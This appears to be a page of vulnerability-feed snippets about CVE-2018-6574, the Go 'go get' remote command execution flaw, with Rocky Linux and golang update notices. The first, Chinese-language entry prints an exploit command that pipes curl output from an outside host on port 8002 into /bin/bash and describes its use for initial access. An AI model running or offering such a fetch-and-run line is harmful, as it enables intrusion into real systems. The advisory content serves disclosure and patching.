CVE-2018-6574

CVE-2018-6574 Go 1.8.7 之前的版本、Go 1.9.x 在 1.9.4 之前，以及 Go 1.10 预发布版本在 Go 1.10rc2 之前，允许在源代码构建期间通过 go get 远程执行命令，利用 gcc 或 clang 插件功能，因为 -fplugin= 和 -plugin= 参数未被阻止。（来自 mitre） RCE 命令 该命令被编译进动态库 calcdarwin.so。当前命令为 curl newton.cycarrier:8002 | /bin/bash。它曾被用作程序的初始访问。你需要在 8002 端口托管一个文件服务器，并将主机绑定到你的 IP。...

gcc-toolset-13-annobin bug fix update

An update is available for gcc-toolset-13-annobin. This update affects Rocky Linux 8. A Common Vulnerability Scoring System CVSS base score, which gives a detailed severity rating, is available for each vulnerability from the CVE list This package contains the tools needed to annotate binary file...

Updated golang packages fix security vulnerability

Updated golang packages fix security vulnerabilities: Go before 1.9.4 allows "go get" remote command execution during source code build, by leveraging the gcc or clang plugin feature, because -fplugin= and -plugin= arguments were not blocked CVE-2018-6574...

CVE-2018-6574

Removed by vendor...

CVE-2018-6574

Go before 1.8.7, Go 1.9.x before 1.9.4, and Go 1.10 pre-releases before Go 1.10rc2 allow "go get" remote command execution during source code build, by leveraging the gcc or clang plugin feature, because -fplugin= and -plugin= arguments were not blocked...